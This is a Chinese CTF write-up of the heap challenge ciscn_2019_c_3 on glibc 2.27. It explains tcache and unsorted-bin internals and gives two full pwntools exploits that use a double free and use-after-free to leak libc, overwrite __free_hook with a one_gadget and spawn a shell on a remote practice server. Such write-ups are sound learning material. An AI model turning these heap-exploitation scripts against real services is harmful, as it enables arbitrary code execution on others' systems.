这会是正儿八经选到堆题了,选了个二十多分的国赛题,结果步子跨大了些有点卡到蛋了()
最后对着一个绕了些远路的佬的 exp 一点点学,总算是理解了个大概,也补了些 how2heap 里没提到/没进脑的基础知识
题目
靶机环境是 Ubuntu18,对应的 glibc 版本是 2.27,可以用 patchelf 修改 ELF 文件的链接路径
对于 glibc-2.27 的堆利用主要集中于不检查 double free 的 tcache 机制,但比较坑的一点是这个漏洞也同样在 glibc-2.27 被修复了,我们下载时很难分辨哪个是可利用版本,所以推荐直接在 BUU 而非其他途径下载 glibc
静态分析
main()
经典增删查,还给了个后门
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_atoi();
if ( v3 != 3 )
break;
dele();
}
if ( v3 > 3 )
break;
if ( v3 == 1 )
{
create();
}
else
{
if ( v3 != 2 )
goto LABEL_15;
show();
}
}
if ( v3 == 5 )
{
puts_flush("bye,bye!!");
exit(0);
}
if ( v3 != 666 )
LABEL_15:
exit(0);
backdoor();
}
}
dele()
、show()
释放内存后没有清空指针,仍然可以将 attack time 也就是 fd 指针打印出来,存在 UAF
void dele()
{
int v0; // [rsp+Ch] [rbp-4h]
puts_flush("weapon:");
v0 = read_atoi();
if ( v0 >= 0 && v0 <= 8 )
{
if ( weapon_list[v0] )
free(weapon_list[v0]); // didn't clear pointer -> UAF
}
}
unsigned __int64 show()
{
int v1; // [rsp+Ch] [rbp-3F4h]
char s[1000]; // [rsp+10h] [rbp-3F0h] BYREF
unsigned __int64 v3; // [rsp+3F8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts_flush("index: ");
v1 = read_atoi();
if ( v1 >= 0 && v1 <= 8 && weapon_list[v1] )
{
snprintf(
s,
0x100uLL,
"weapons'name: %s\nattack_times: %lu\nattack_numbers: %lu",
(weapon_list[v1] + 0x10LL), // name: fd + 0x10
*weapon_list[v1], // fd
*(weapon_list[v1] + 8LL));
puts_flush(s);
}
return __readfsqword(0x28u) ^ v3;
}
create()
只允许申请 0x60、0x100 和 0x4F 三种大小共 9 个堆块,但可写入区域恰好避开了 fd 指针
void create()
{
int i; // [rsp+8h] [rbp-18h]
unsigned int v1; // [rsp+Ch] [rbp-14h]
_QWORD *v2; // [rsp+10h] [rbp-10h]
for ( i = 0; i <= 8; ++i )
{
if ( !weapon_list[i] )
{
puts_flush("size: ");
v1 = read_atoi();
if ( v1 == 0x60 || v1 == 0x100 || v1 == 0x4F )// only these three size
{
v2 = malloc(v1);
*v2 = 0LL; // fd -> attack times
v2[1] = time(0LL) % 10 + 96; // fd + 0x8 -> attack numbers
puts_flush("Give me the name: ");
read_context((v2 + 2), v1); // can't overwrite to fd
weapon_list[i] = v2;
}
else
{
puts_flush("you can only create three kinds of weapons");
}
return;
}
}
}
backdoor()
后门可以篡改 fd 指针,篡改的数值取决于 weapon 的 index,也就是堆块申请的顺序号
unsigned __int64 backdoor()
{
int v1; // [rsp+8h] [rbp-3F8h]
int v2; // [rsp+Ch] [rbp-3F4h]
char s[1000]; // [rsp+10h] [rbp-3F0h] BYREF
unsigned __int64 v4; // [rsp+3F8h] [rbp-8h]
v4 = __readfsqword(40u);
v1 = 0;
puts_flush("Can't beat down them?Let me add the attack_number for you !! ");
puts_flush("weapon:");
v2 = read_atoi();
if ( v2 >= 0 && v2 <= 8 && weapon_list[v2] )
{
while ( v2 - 1 > v1 )
{
++*weapon_list[v2]; // fd += v2 - 1
++v1;
}
}
snprintf(
s,
0x100uLL,
"weapons'name: %s\nattack_times: %lu\nattack_numbers: %lu",
(weapon_list[v2] + 16LL),
*weapon_list[v2],
*(weapon_list[v2] + 8LL));
puts_flush(s);
return __readfsqword(40u) ^ v4;
}
动态调试
这里 debug 主要是讲解 tcache 和 unsorted bin 以及相关的结构体
tcache
控制 tcache 的是两个数据结构:tcache_perthread_struct
和tcache_entry
先上源码
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
static __thread tcache_perthread_struct *tcache = NULL;
tcache_perthread_struct
是一个结构体,counts 记录了各个大小堆块的个数,entries 数组负责链接每个大小的空闲堆块链表的尾结点指针(tcache 使用 FILO 策略)
在初始化也就是第一次调用 malloc 时,tcache 会先在堆基址申请一个 0x250 大小的堆块用于存放这两个结构体,所以我们可以在堆基址上找到它
这里我先申请并释放了两个 0x100 和一个 0x60 大小的堆块
可以看到在堆基址上有一个并不是我们申请的 0x250 大小的 chunk
在结构体内可以看到计数数组 count(0x7010 处)和链表入口指针数组 entries 存放的指针(0x7078 和 0x70c8 处)
unsorted bin
unsorted bin 则没有那么多管理的结构体,它只在 libc 的可写区存有一个入口指针,因此其入口在 libc 内的偏移是固定的,也就是说如果存在 UAF 漏洞那就可以泄露出 libc 基址
方便起见我们先将 tcache 的计数器改到大于 7 以便后续堆块能进入 unsorted bin
pwndbg> set {int}0x55555560701f=0x08
可以看到第一个进入 unsorted bin 的 chunk 的 fd 和 bk 指针都指向了 entry
exp1
解析
这个师傅的思路稍微绕远了些
首先我们通过 tcache 的 double free 泄露出 fd 指针并计算出堆基址
create(0x100, 'a')
create(0x100, 'a')
create(0x100, 'a')
create(0x100, 'a')
delete(3)
delete(3)
show(3)
io.recvuntil('attack_times: ')
tcache_struct = int(io.recvline()[:-1]) - 0x590
然后利用 backdoor 将 fd 指针移动到 name 域使后面可以任意读写
这里循环的次数需要自己计算
for i in range(8): # (3-1)*0x8=0x10 chunk_fd -> chunk_name
backdoor(3)
先把释放的堆块申请出来,将 name 域也就是 fack chunk 的 fd 指针改写为tcache_perthread_struct
以便后面篡改,现在 entry 指向 篡改后的 fd 指针
create(0x100, p64(tcache_struct)) # name = chunk_fd -> tcache_struct
申请一次,返回的仍然是那个堆块,但后移了 0x10,现在 entry 指向写了tcache_perthread_struct
地址的 name 域
再申请一次就拿到tcache_perthread_struct
了,我们暴力将所有计数器篡改到 7,并将 0x60 的 entry 指针篡改为tcache_struct + 0x20
,加上 0x20 的原因后面再讲
create(0x100, b'\x07' * 0x40 + b'\x00' * 0x28 + p64(tcache_struct + 0x20)) # MIN~MAX = 7 0x60(0x70)entries -> tcache_struct+0x20 we will write from base+0x30
然后再次释放一个堆块,此时由于计数器大于 7,堆块会被链接进 unsorted bin,然后就可以泄露出它的 fd 指针也就是 unsorted bin 的 entry 地址,并进一步计算出 libc 的基址和 getshell 相关的地址
delete(0) # chunk_0 -> unsorted_bin
show(0) # leak libc_base
io.recvuntil('attack_times: ')
unsorted_entries = int(io.recvline()[:-1])
libc_base = unsorted_entries - 0x3ebca0
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322
申请一个 0x60 大小的堆块,并在此基址上篡改 0x60 entry 指针为 free_hook,前面的 0x20 就是为了增大堆块的基址绕过堆块写入长度的限制并够到 entry
然后再申请一次,得到 free_hook 并篡改为 one_gadget
create(0x60, b'\x00' * 0x48 + p64(free_hook - 0x10)) # 0x48 to 0x60(0x70)entry 0x48 + 0x08 = 0x50 -> didn't overflow entry -> free_hook-0x10
create(0x60, p64(one_gadget)) # write free_hook
万事俱备,现在只需释放一个堆块就能 getshell 了
完整 exp
from pwn import *
io = remote('node4.buuoj.cn', 28015)
# io = process('./ciscn_2019_c_3')
libc = ELF('./libc-2.27.so')
def create(size, name):
io.sendlineafter('Command:', '1')
io.sendlineafter('size:', str(size))
io.sendlineafter('Give me the name:', name)
def show(index):
io.sendlineafter('Command:', '2')
io.sendlineafter('index:', str(index))
def delete(index):
io.sendlineafter('Command:', '3')
io.sendlineafter('weapon:', str(index))
def backdoor(index):
io.sendlineafter('Command:', '666')
io.sendlineafter('weapon:', str(index))
create(0x100, 'a')
create(0x100, 'a')
create(0x100, 'a')
create(0x100, 'a')
delete(3)
delete(3)
show(3)
io.recvuntil('attack_times: ')
tcache_struct = int(io.recvline()[:-1]) - 0x590
for i in range(8): # (3-1)*0x8=0x10 chunk_fd -> chunk_name
backdoor(3)
create(0x100, p64(tcache_struct)) # name = chunk_fd -> tcache_struct
create(0x100, 'a') # clear tcache
create(0x100, b'\x07' * 0x40 + b'\x00' * 0x28 + p64(tcache_struct + 0x20)) # MIN~MAX = 7 0x60(0x70)entries -> tcache_struct+0x20 we will write from base+0x30
delete(0) # chunk_0 -> unsorted_bin
show(0) # leak libc_base
io.recvuntil('attack_times: ')
unsorted_entries = int(io.recvline()[:-1])
libc_base = unsorted_entries - 0x3ebca0
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322
create(0x60, b'\x00' * 0x48 + p64(free_hook - 0x10)) # 0x48 to 0x60(0x70)entry 0x48 + 0x08 = 0x50 -> didn't overflow entry -> free_hook-0x10
create(0x60, p64(one_gadget)) # write free_hook
delete(0)
io.interactive()
exp2
- 思路来自 ciscn_2019_c_3
这份 exp 思路更为简短直接,大概是标准解法
思路大概是
- double free 泄露出 main_arena 地址(没太搞懂,调试发现似乎 free 了八次也没进入 unsorted bin)
- 因为 malloc_hook 位于 main_arena 上方 -0x10 的位置,据此依次算出 hook、libc 基址和 one_gadget
- 然后和前面一样通过 double free 和 back door 篡改 tcache entries 拿到任意地址写
#coding:utf8
from pwn import *
#sh = process('./ciscn_2019_c_3')
sh = remote('node3.buuoj.cn',26426)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
one_gadget = 0x4f322
def add(size,content):
sh.sendlineafter('Command:','1')
sh.sendlineafter('size:',str(size))
sh.sendlineafter('Give me the name:',content)
def show(index):
sh.sendlineafter('Command:','2')
sh.sendlineafter('index:',str(index))
def delete(index):
sh.sendlineafter('Command:','3')
sh.sendlineafter('weapon:',str(index))
def backdoor(index):
sh.sendlineafter('Command:','666')
sh.sendlineafter('weapon:',str(index))
#0
add(0x100,'a')
#1
add(0x60,'b')
for i in range(8):
delete(0)
show(0)
sh.recvuntil('attack_times: ')
main_arena_xx = int(sh.recvuntil('\n',drop = True))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#2
add(0x60,'a'*0x10 + p64(free_hook_addr - 0x10))
delete(2)
delete(2)
#修改fd+=0x20
for i in range(0x20):
backdoor(2)
add(0x60,'c') #3
add(0x60,'c') #4
add(0x60,p64(one_gadget_addr))
#getshell
delete(1)
sh.interactive()
Comments NOTHING